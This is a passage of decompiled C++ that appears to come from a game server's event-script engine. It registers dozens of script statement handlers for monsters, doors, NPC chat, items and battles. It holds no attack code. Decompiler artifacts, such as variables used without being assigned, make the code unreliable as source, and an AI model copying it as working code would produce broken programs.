edx@280 void *v140; // eax@283 PineEventScriptNode::StatementBase *v141; // eax@284 unsigned int v142; // edx@286 void *v143; // eax@289 PineEventScriptNode::StatementBase *v144; // eax@290 unsigned int v145; // edx@292 void *v146; // eax@295 PineEventScriptNode::StatementBase *v147; // eax@296 unsigned int v148; // edx@298 void *v149; // eax@301 PineEventScriptNode::StatementBase *v150; // eax@302 unsigned int v151; // edx@304 void *v152; // eax@307 PineEventScriptNode::StatementBase *v153; // eax@308 unsigned int v154; // edx@310 void *v155; // eax@313 PineEventScriptNode::StatementBase *v156; // eax@314 unsigned int v157; // edx@316 void *v158; // eax@319 PineEventScriptNode::StatementBase *v159; // eax@320 unsigned int v160; // edx@322 void *v161; // eax@325 PineEventScriptNode::StatementBase *v162; // eax@326 unsigned int v163; // edx@328 void *v164; // eax@331 PineEventScriptNode::StatementBase *v165; // eax@332 unsigned int v166; // edx@334 void *v167; // eax@337 PineEventScriptNode::StatementBase *v168; // eax@338 unsigned int v169; // edx@340 void *v170; // eax@343 PineEventScriptNode::StatementBase *v171; // eax@344 unsigned int v172; // edx@346 void *v173; // eax@349 PineEventScriptNode::StatementBase *v174; // eax@350 unsigned int v175; // edx@352 void *v176; // eax@355 PineEventScriptNode::StatementBase *v177; // eax@356 unsigned int v178; // edx@358 void *v179; // eax@361 PineEventScriptNode::StatementBase *v180; // eax@362 unsigned int v181; // edx@364 void *v182; // eax@367 PineEventScriptNode::StatementBase *v183; // eax@368 unsigned int v184; // edx@370 void *v185; // eax@373 PineEventScriptNode::StatementBase *v186; // eax@374 unsigned int v187; // edx@376 void *v188; // eax@379 PineEventScriptNode::StatementBase *v189; // eax@380 unsigned int v190; // edx@382 void *v191; // eax@385 PineEventScriptNode::StatementBase *v192; // eax@386 unsigned int v193; // edx@388 void *v194; // eax@391 PineEventScriptNode::StatementBase *v195; // eax@392 unsigned int v196; // edx@394 void *v197; // eax@397 PineEventScriptNode::StatementBase *v198; // eax@398 unsigned int v199; // edx@400 void *v200; // eax@403 PineEventScriptNode::StatementBase *v201; // eax@404 unsigned int v202; // edx@406 void *v203; // eax@409 PineEventScriptNode::StatementBase *v204; // eax@410 unsigned int v205; // edx@412 void *v206; // eax@415 PineEventScriptNode::StatementBase *v207; // eax@416 unsigned int v208; // edx@418 void *v209; // eax@421 PineEventScriptNode::StatementBase *v210; // eax@422 unsigned int v211; // edx@424 void *v212; // eax@427 PineEventScriptNode::StatementBase *v213; // eax@428 unsigned int v214; // edx@430 void *v215; // eax@433 PineEventScriptNode::StatementBase *v216; // eax@434 unsigned int v217; // edx@436 void *v218; // eax@439 PineEventScriptNode::StatementBase *v219; // eax@440 unsigned int v220; // edx@442 void *v221; // eax@445 PineEventScriptNode::StatementBase *v222; // eax@446 unsigned int v223; // edx@448 void *v224; // eax@451 PineEventScriptNode::StatementBase *v225; // eax@452 unsigned int v226; // edx@454 void *v227; // eax@457 PineEventScriptNode::StatementBase *v228; // eax@458 unsigned int v229; // edx@460 void *v230; // eax@463 PineEventScriptNode::StatementBase *v231; // eax@464 unsigned int v232; // edx@466 void *v233; // eax@469 PineEventScriptNode::StatementBase *v234; // eax@470 unsigned int v235; // edx@472 void *v236; // eax@475 PineEventScriptNode::StatementBase *v237; // eax@476 unsigned int v238; // edx@478 void *v239; // eax@481 PineEventScriptNode::StatementBase *v240; // eax@482 unsigned int v241; // edx@484 void *v242; // eax@487 PineEventScriptNode::StatementBase *v243; // eax@488 void *v244; // eax@490 PineEventScriptNode::StatementBase *v245; // eax@491 void *v246; // eax@493 PineEventScriptNode::StatementBase *v247; // eax@494 void *v248; // eax@496 PineEventScriptNode::StatementBase *v249; // eax@497 void *v250; // eax@499 PineEventScriptNode::StatementBase *v251; // eax@500 void *v252; // eax@502 PineEventScriptNode::StatementBase *v253; // eax@503 void *v254; // eax@505 PineEventScriptNode::StatementBase *v255; // eax@506 void *v256; // eax@508 PineEventScriptNode::StatementBase *v257; // eax@509 void *v258; // eax@511 PineEventScriptNode::StatementBase *v259; // eax@512 void *v260; // eax@514 PineEventScriptNode::StatementBase *v261; // eax@515 void *v262; // eax@517 PineEventScriptNode::StatementBase *v263; // eax@518 void *v264; // eax@520 PineEventScriptNode::StatementBase *v265; // eax@521 void *v266; // eax@523 PineEventScriptNode::StatementBase *v267; // eax@524 void *v268; // eax@526 PineEventScriptNode::StatementBase *v269; // eax@527 void *v270; // eax@529 PineEventScriptNode::StatementBase *v271; // eax@530 v1 = this; this->sl_Point = 0; v2 = operator new(0x12Cu); if ( v2 ) { *(_DWORD *)v2 = &PineEventScriptNode::StateAssignment::_vftable_; *((_DWORD *)v2 + 1) = &PineEventScriptNode::Identify::_vftable_; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; *((_DWORD *)v2 + 4) = &PineEventScriptNode::Express::_vftable_; *((_DWORD *)v2 + 5) = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v2 + 7) = 0; *((_DWORD *)v2 + 6) = 0; *((_DWORD *)v2 + 8) = &PineEventScriptNode::CalculateOperator::_vftable_; *((_BYTE *)v2 + 36) = 0; *((_DWORD *)v2 + 73) = 0; *((_DWORD *)v2 + 74) = 0; } else { v2 = 0; } v3 = v1->sl_Point; if ( v3 < 0x80 ) { v1->sl_Array[v3] = (PineEventScriptNode::StatementBase *)v2; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v4 = operator new(0x118u); if ( v4 ) PineEventScriptNode::Block::Block((PineEventScriptNode::Block *)v4); else v5 = 0; v6 = v1->sl_Point; if ( v6 < 0x80 ) { v1->sl_Array[v6] = v5; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v7 = operator new(0x4A08u); if ( v7 ) PineEventScriptNode::StateVarDeclear::StateVarDeclear((PineEventScriptNode::StateVarDeclear *)v7); else v8 = 0; v9 = v1->sl_Point; if ( v9 < 0x80 ) { v1->sl_Array[v9] = v8; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v10 = operator new(0x11Cu); if ( v10 ) PineEventScriptNode::StateInfinite::StateInfinite((PineEventScriptNode::StateInfinite *)v10); else v11 = 0; v12 = v1->sl_Point; if ( v12 < 0x80 ) { v1->sl_Array[v12] = v11; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v13 = operator new(0x460u); if ( v13 ) PineEventScriptNode::StateWhile::StateWhile((PineEventScriptNode::StateWhile *)v13); else v14 = 0; v15 = v1->sl_Point; if ( v15 < 0x80 ) { v1->sl_Array[v15] = v14; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v16 = operator new(0x350u); v17 = v16; if ( v16 ) { *(_DWORD *)v16 = &PineEventScriptNode::StateIf::_vftable_; PineEventScriptNode::Condition::Condition((PineEventScriptNode::Condition *)((char *)v16 + 4)); *((_DWORD *)v17 + 211) = 0; *((_DWORD *)v17 + 210) = 0; } else { v17 = 0; } v18 = v1->sl_Point; if ( v18 < 0x80 ) { v1->sl_Array[v18] = (PineEventScriptNode::StatementBase *)v17; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v19 = operator new(0x124u); if ( v19 ) { *(_DWORD *)v19 = &PineEventScriptNode::StateCall::_vftable_; *((_DWORD *)v19 + 1) = &PineEventScriptNode::Express::_vftable_; *((_DWORD *)v19 + 2) = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v19 + 4) = 0; *((_DWORD *)v19 + 3) = 0; *((_DWORD *)v19 + 5) = &PineEventScriptNode::CalculateOperator::_vftable_; *((_BYTE *)v19 + 24) = 0; *((_DWORD *)v19 + 70) = 0; *((_DWORD *)v19 + 71) = 0; *((_DWORD *)v19 + 72) = 0; } else { v19 = 0; } v20 = v1->sl_Point; if ( v20 < 0x80 ) { v1->sl_Array[v20] = (PineEventScriptNode::StatementBase *)v19; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v21 = operator new(0x140u); v22 = v21; if ( v21 ) { PineEventScriptNode::StatementBaseExpress::StatementBaseExpress( (PineEventScriptNode::StatementBaseExpress *)v21, "print"); *(_DWORD *)v22 = &PineEventScriptNode::StatePrint::_vftable_; } else { v22 = 0; } v23 = v1->sl_Point; if ( v23 < 0x80 ) { v1->sl_Array[v23] = (PineEventScriptNode::StatementBase *)v22; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v24 = operator new(0x10u); if ( v24 ) { *(_DWORD *)v24 = &PineEventScriptNode::StatePermillage::_vftable_; *((_DWORD *)v24 + 1) = &PineEventScriptNode::Identify::_vftable_; *((_DWORD *)v24 + 2) = 0; *((_DWORD *)v24 + 3) = 0; } else { v24 = 0; } v25 = v1->sl_Point; if ( v25 < 0x80 ) { v1->sl_Array[v25] = (PineEventScriptNode::StatementBase *)v24; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v26 = operator new(8u); if ( v26 ) { *(_DWORD *)v26 = &PineEventScriptNode::StateBreak::_vftable_; *((_DWORD *)v26 + 1) = 0; v27 = v26; } else { v27 = 0; } v28 = v1->sl_Point; if ( v28 < 0x80 ) { v1->sl_Array[v28] = (PineEventScriptNode::StatementBase *)v27; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v29 = operator new(0xBCu); if ( v29 ) PineEventScriptNode::ShinePrintf::ShinePrintf((PineEventScriptNode::ShinePrintf *)v29); else v30 = 0; v31 = v1->sl_Point; if ( v31 < 0x80 ) { v1->sl_Array[v31] = v30; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v32 = operator new(0xBCu); if ( v32 ) PineEventScriptNode::ShineScriptFile::ShineScriptFile((PineEventScriptNode::ShineScriptFile *)v32); else v33 = 0; v34 = v1->sl_Point; if ( v34 < 0x80 ) { v1->sl_Array[v34] = v33; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v35 = operator new(0xBCu); if ( v35 ) PineEventScriptNode::ShineTimeLimit::ShineTimeLimit((PineEventScriptNode::ShineTimeLimit *)v35); else v36 = 0; v37 = v1->sl_Point; if ( v37 < 0x80 ) { v1->sl_Array[v37] = v36; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v38 = operator new(0xBCu); if ( v38 ) PineEventScriptNode::ShineInterruptClear::ShineInterruptClear((PineEventScriptNode::ShineInterruptClear *)v38); else v39 = 0; v40 = v1->sl_Point; if ( v40 < 0x80 ) { v1->sl_Array[v40] = v39; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v41 = operator new(0xBCu); if ( v41 ) PineEventScriptNode::ShineInterruptSet::ShineInterruptSet((PineEventScriptNode::ShineInterruptSet *)v41); else v42 = 0; v43 = v1->sl_Point; if ( v43 < 0x80 ) { v1->sl_Array[v43] = v42; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v44 = operator new(0xBCu); if ( v44 ) PineEventScriptNode::ShineInterruptErase::ShineInterruptErase((PineEventScriptNode::ShineInterruptErase *)v44); else v45 = 0; v46 = v1->sl_Point; if ( v46 < 0x80 ) { v1->sl_Array[v46] = v45; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v47 = operator new(0xBCu); if ( v47 ) PineEventScriptNode::ShineWaitInterrupt::ShineWaitInterrupt((PineEventScriptNode::ShineWaitInterrupt *)v47); else v48 = 0; v49 = v1->sl_Point; if ( v49 < 0x80 ) { v1->sl_Array[v49] = v48; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v50 = operator new(0xBCu); if ( v50 ) PineEventScriptNode::ShineMobRegen::ShineMobRegen((PineEventScriptNode::ShineMobRegen *)v50); else v51 = 0; v52 = v1->sl_Point; if ( v52 < 0x80 ) { v1->sl_Array[v52] = v51; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v53 = operator new(0xBCu); if ( v53 ) PineEventScriptNode::ShineDoorBuild::ShineDoorBuild((PineEventScriptNode::ShineDoorBuild *)v53); else v54 = 0; v55 = v1->sl_Point; if ( v55 < 0x80 ) { v1->sl_Array[v55] = v54; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v56 = operator new(0xBCu); if ( v56 ) PineEventScriptNode::ShineNPCStand::ShineNPCStand((PineEventScriptNode::ShineNPCStand *)v56); else v57 = 0; v58 = v1->sl_Point; if ( v58 < 0x80 ) { v1->sl_Array[v58] = v57; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v59 = operator new(0xBCu); if ( v59 ) PineEventScriptNode::ShineChange2Mob::ShineChange2Mob((PineEventScriptNode::ShineChange2Mob *)v59); else v60 = 0; v61 = v1->sl_Point; if ( v61 < 0x80 ) { v1->sl_Array[v61] = v60; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v62 = operator new(0xBCu); if ( v62 ) PineEventScriptNode::ShineChange2Door::ShineChange2Door((PineEventScriptNode::ShineChange2Door *)v62); else v63 = 0; v64 = v1->sl_Point; if ( v64 < 0x80 ) { v1->sl_Array[v64] = v63; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v65 = operator new(0xBCu); if ( v65 ) PineEventScriptNode::ShineChange2NPC::ShineChange2NPC((PineEventScriptNode::ShineChange2NPC *)v65); else v66 = 0; v67 = v1->sl_Point; if ( v67 < 0x80 ) { v1->sl_Array[v67] = v66; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v68 = operator new(0xBCu); if ( v68 ) PineEventScriptNode::ShineExchange2Mob::ShineExchange2Mob((PineEventScriptNode::ShineExchange2Mob *)v68); else v69 = 0; v70 = v1->sl_Point; if ( v70 < 0x80 ) { v1->sl_Array[v70] = v69; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v71 = operator new(0xBCu); if ( v71 ) PineEventScriptNode::ShineDoorOpen::ShineDoorOpen((PineEventScriptNode::ShineDoorOpen *)v71); else v72 = 0; v73 = v1->sl_Point; if ( v73 < 0x80 ) { v1->sl_Array[v73] = v72; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v74 = operator new(0xBCu); if ( v74 ) PineEventScriptNode::ShineDoorClose::ShineDoorClose((PineEventScriptNode::ShineDoorClose *)v74); else v75 = 0; v76 = v1->sl_Point; if ( v76 < 0x80 ) { v1->sl_Array[v76] = v75; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v77 = operator new(0xBCu); if ( v77 ) PineEventScriptNode::ShineObjectVanish::ShineObjectVanish((PineEventScriptNode::ShineObjectVanish *)v77); else v78 = 0; v79 = v1->sl_Point; if ( v79 < 0x80 ) { v1->sl_Array[v79] = v78; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v80 = operator new(0xBCu); if ( v80 ) PineEventScriptNode::ShineRegenGroup::ShineRegenGroup((PineEventScriptNode::ShineRegenGroup *)v80); else v81 = 0; v82 = v1->sl_Point; if ( v82 < 0x80 ) { v1->sl_Array[v82] = v81; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v83 = operator new(0xBCu); if ( v83 ) PineEventScriptNode::ShineWaitUserLogin::ShineWaitUserLogin((PineEventScriptNode::ShineWaitUserLogin *)v83); else v84 = 0; v85 = v1->sl_Point; if ( v85 < 0x80 ) { v1->sl_Array[v85] = v84; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v86 = operator new(0xBCu); if ( v86 ) PineEventScriptNode::ShinePause::ShinePause((PineEventScriptNode::ShinePause *)v86); else v87 = 0; v88 = v1->sl_Point; if ( v88 < 0x80 ) { v1->sl_Array[v88] = v87; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v89 = operator new(0xBCu); if ( v89 ) PineEventScriptNode::ShineNPCChat::ShineNPCChat((PineEventScriptNode::ShineNPCChat *)v89); else v90 = 0; v91 = v1->sl_Point; if ( v91 < 0x80 ) { v1->sl_Array[v91] = v90; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v92 = operator new(0xBCu); if ( v92 ) PineEventScriptNode::ShineNPCShout::ShineNPCShout((PineEventScriptNode::ShineNPCShout *)v92); else v93 = 0; v94 = v1->sl_Point; if ( v94 < 0x80 ) { v1->sl_Array[v94] = v93; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v95 = operator new(0xBCu); if ( v95 ) PineEventScriptNode::ShineChatWindow::ShineChatWindow((PineEventScriptNode::ShineChatWindow *)v95); else v96 = 0; v97 = v1->sl_Point; if ( v97 < 0x80 ) { v1->sl_Array[v97] = v96; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v98 = operator new(0xBCu); if ( v98 ) PineEventScriptNode::ShineChatWindowRange::ShineChatWindowRange((PineEventScriptNode::ShineChatWindowRange *)v98); else v99 = 0; v100 = v1->sl_Point; if ( v100 < 0x80 ) { v1->sl_Array[v100] = v99; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v101 = operator new(0xBCu); if ( v101 ) PineEventScriptNode::ShineSummonMob::ShineSummonMob((PineEventScriptNode::ShineSummonMob *)v101); else v102 = 0; v103 = v1->sl_Point; if ( v103 < 0x80 ) { v1->sl_Array[v103] = v102; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v104 = operator new(0xBCu); if ( v104 ) PineEventScriptNode::ShineQuestResult::ShineQuestResult((PineEventScriptNode::ShineQuestResult *)v104); else v105 = 0; v106 = v1->sl_Point; if ( v106 < 0x80 ) { v1->sl_Array[v106] = v105; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v107 = operator new(0xBCu); if ( v107 ) PineEventScriptNode::ShineReward::ShineReward((PineEventScriptNode::ShineReward *)v107); else v108 = 0; v109 = v1->sl_Point; if ( v109 < 0x80 ) { v1->sl_Array[v109] = v108; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v110 = operator new(0xBCu); if ( v110 ) PineEventScriptNode::ShineSomeoneShout::ShineSomeoneShout((PineEventScriptNode::ShineSomeoneShout *)v110); else v111 = 0; v112 = v1->sl_Point; if ( v112 < 0x80 ) { v1->sl_Array[v112] = v111; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v113 = operator new(0xBCu); if ( v113 ) PineEventScriptNode::ShineBroadcast::ShineBroadcast((PineEventScriptNode::ShineBroadcast *)v113); else v114 = 0; v115 = v1->sl_Point; if ( v115 < 0x80 ) { v1->sl_Array[v115] = v114; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v116 = operator new(0xBCu); if ( v116 ) PineEventScriptNode::ShineLinkTo::ShineLinkTo((PineEventScriptNode::ShineLinkTo *)v116); else v117 = 0; v118 = v1->sl_Point; if ( v118 < 0x80 ) { v1->sl_Array[v118] = v117; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v119 = operator new(0xBCu); if ( v119 ) PineEventScriptNode::ShineWhoClickMe::ShineWhoClickMe((PineEventScriptNode::ShineWhoClickMe *)v119); else v120 = 0; v121 = v1->sl_Point; if ( v121 < 0x80 ) { v1->sl_Array[v121] = v120; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v122 = operator new(0xBCu); if ( v122 ) PineEventScriptNode::ShineWhoKillMe::ShineWhoKillMe((PineEventScriptNode::ShineWhoKillMe *)v122); else v123 = 0; v124 = v1->sl_Point; if ( v124 < 0x80 ) { v1->sl_Array[v124] = v123; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v125 = operator new(0xBCu); if ( v125 ) PineEventScriptNode::ShineItemDrop::ShineItemDrop((PineEventScriptNode::ShineItemDrop *)v125); else v126 = 0; v127 = v1->sl_Point; if ( v127 < 0x80 ) { v1->sl_Array[v127] = v126; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v128 = operator new(0xBCu); if ( v128 ) PineEventScriptNode::ShineInvenSearch::ShineInvenSearch((PineEventScriptNode::ShineInvenSearch *)v128); else v129 = 0; v130 = v1->sl_Point; if ( v130 < 0x80 ) { v1->sl_Array[v130] = v129; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v131 = operator new(0xBCu); if ( v131 ) PineEventScriptNode::ShineItemCreate::ShineItemCreate((PineEventScriptNode::ShineItemCreate *)v131); else v132 = 0; v133 = v1->sl_Point; if ( v133 < 0x80 ) { v1->sl_Array[v133] = v132; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v134 = operator new(0xBCu); if ( v134 ) PineEventScriptNode::ShineItemErase::ShineItemErase((PineEventScriptNode::ShineItemErase *)v134); else v135 = 0; v136 = v1->sl_Point; if ( v136 < 0x80 ) { v1->sl_Array[v136] = v135; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v137 = operator new(0xBCu); if ( v137 ) PineEventScriptNode::ShineFindHandle::ShineFindHandle((PineEventScriptNode::ShineFindHandle *)v137); else v138 = 0; v139 = v1->sl_Point; if ( v139 < 0x80 ) { v1->sl_Array[v139] = v138; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v140 = operator new(0xBCu); if ( v140 ) PineEventScriptNode::ShineAbstatSet::ShineAbstatSet((PineEventScriptNode::ShineAbstatSet *)v140); else v141 = 0; v142 = v1->sl_Point; if ( v142 < 0x80 ) { v1->sl_Array[v142] = v141; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v143 = operator new(0xBCu); if ( v143 ) PineEventScriptNode::ShineAbstatReset::ShineAbstatReset((PineEventScriptNode::ShineAbstatReset *)v143); else v144 = 0; v145 = v1->sl_Point; if ( v145 < 0x80 ) { v1->sl_Array[v145] = v144; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v146 = operator new(0xBCu); if ( v146 ) PineEventScriptNode::ShineSuicide::ShineSuicide((PineEventScriptNode::ShineSuicide *)v146); else v147 = 0; v148 = v1->sl_Point; if ( v148 < 0x80 ) { v1->sl_Array[v148] = v147; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v149 = operator new(0xBCu); if ( v149 ) PineEventScriptNode::ShineRun::ShineRun((PineEventScriptNode::ShineRun *)v149); else v150 = 0; v151 = v1->sl_Point; if ( v151 < 0x80 ) { v1->sl_Array[v151] = v150; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v152 = operator new(0xBCu); if ( v152 ) PineEventScriptNode::ShineWalk::ShineWalk((PineEventScriptNode::ShineWalk *)v152); else v153 = 0; v154 = v1->sl_Point; if ( v154 < 0x80 ) { v1->sl_Array[v154] = v153; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v155 = operator new(0xBCu); if ( v155 ) PineEventScriptNode::ShineMapLight::ShineMapLight((PineEventScriptNode::ShineMapLight *)v155); else v156 = 0; v157 = v1->sl_Point; if ( v157 < 0x80 ) { v1->sl_Array[v157] = v156; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v158 = operator new(0xBCu); if ( v158 ) PineEventScriptNode::ShineMapFog::ShineMapFog((PineEventScriptNode::ShineMapFog *)v158); else v159 = 0; v160 = v1->sl_Point; if ( v160 < 0x80 ) { v1->sl_Array[v160] = v159; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v161 = operator new(0xBCu); if ( v161 ) PineEventScriptNode::ShineEffectObject::ShineEffectObject((PineEventScriptNode::ShineEffectObject *)v161); else v162 = 0; v163 = v1->sl_Point; if ( v163 < 0x80 ) { v1->sl_Array[v163] = v162; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v164 = operator new(0xBCu); if ( v164 ) PineEventScriptNode::ShineEffectLocate::ShineEffectLocate((PineEventScriptNode::ShineEffectLocate *)v164); else v165 = 0; v166 = v1->sl_Point; if ( v166 < 0x80 ) { v1->sl_Array[v166] = v165; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v167 = operator new(0xBCu); if ( v167 ) PineEventScriptNode::ShineAggro::ShineAggro((PineEventScriptNode::ShineAggro *)v167); else v168 = 0; v169 = v1->sl_Point; if ( v169 < 0x80 ) { v1->sl_Array[v169] = v168; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v170 = operator new(0xBCu); if ( v170 ) PineEventScriptNode::ShineMobWeaponRate::ShineMobWeaponRate((PineEventScriptNode::ShineMobWeaponRate *)v170); else v171 = 0; v172 = v1->sl_Point; if ( v172 < 0x80 ) { v1->sl_Array[v172] = v171; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v173 = operator new(0xBCu); if ( v173 ) PineEventScriptNode::ShineMobDetectRange::ShineMobDetectRange((PineEventScriptNode::ShineMobDetectRange *)v173); else v174 = 0; v175 = v1->sl_Point; if ( v175 < 0x80 ) { v1->sl_Array[v175] = v174; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v176 = operator new(0xBCu); if ( v176 ) PineEventScriptNode::ShineHeal::ShineHeal((PineEventScriptNode::ShineHeal *)v176); else v177 = 0; v178 = v1->sl_Point; if ( v178 < 0x80 ) { v1->sl_Array[v178] = v177; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v179 = operator new(0xBCu); if ( v179 ) PineEventScriptNode::ShineAnimate::ShineAnimate((PineEventScriptNode::ShineAnimate *)v179); else v180 = 0; v181 = v1->sl_Point; if ( v181 < 0x80 ) { v1->sl_Array[v181] = v180; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v182 = operator new(0xBCu); if ( v182 ) PineEventScriptNode::ShineDuplicate::ShineDuplicate((PineEventScriptNode::ShineDuplicate *)v182); else v183 = 0; v184 = v1->sl_Point; if ( v184 < 0x80 ) { v1->sl_Array[v184] = v183; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v185 = operator new(0xBCu); if ( v185 ) PineEventScriptNode::ShineWaitIdle::ShineWaitIdle((PineEventScriptNode::ShineWaitIdle *)v185); else v186 = 0; v187 = v1->sl_Point; if ( v187 < 0x80 ) { v1->sl_Array[v187] = v186; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v188 = operator new(0xBCu); if ( v188 ) PineEventScriptNode::ShineDeathCountClear::ShineDeathCountClear((PineEventScriptNode::ShineDeathCountClear *)v188); else v189 = 0; v190 = v1->sl_Point; if ( v190 < 0x80 ) { v1->sl_Array[v190] = v189; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v191 = operator new(0xBCu); if ( v191 ) PineEventScriptNode::ShineItemAttrSet::ShineItemAttrSet((PineEventScriptNode::ShineItemAttrSet *)v191); else v192 = 0; v193 = v1->sl_Point; if ( v193 < 0x80 ) { v1->sl_Array[v193] = v192; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v194 = operator new(0xBCu); if ( v194 ) PineEventScriptNode::ShineScinarioCode::ShineScinarioCode((PineEventScriptNode::ShineScinarioCode *)v194); else v195 = 0; v196 = v1->sl_Point; if ( v196 < 0x80 ) { v1->sl_Array[v196] = v195; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v197 = operator new(0xBCu); if ( v197 ) PineEventScriptNode::ShineBattleStart::ShineBattleStart((PineEventScriptNode::ShineBattleStart *)v197); else v198 = 0; v199 = v1->sl_Point; if ( v199 < 0x80 ) { v1->sl_Array[v199] = v198; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v200 = operator new(0xBCu); if ( v200 ) PineEventScriptNode::ShineBattleStop::ShineBattleStop((PineEventScriptNode::ShineBattleStop *)v200); else v201 = 0; v202 = v1->sl_Point; if ( v202 < 0x80 ) { v1->sl_Array[v202] = v201; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v203 = operator new(0xBCu); if ( v203 ) PineEventScriptNode::ShineSendKQResult::ShineSendKQResult((PineEventScriptNode::ShineSendKQResult *)v203); else v204 = 0; v205 = v1->sl_Point; if ( v205 < 0x80 ) { v1->sl_Array[v205] = v204; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v206 = operator new(0xBCu); if ( v206 ) PineEventScriptNode::ShineInvidualReward::ShineInvidualReward((PineEventScriptNode::ShineInvidualReward *)v206); else v207 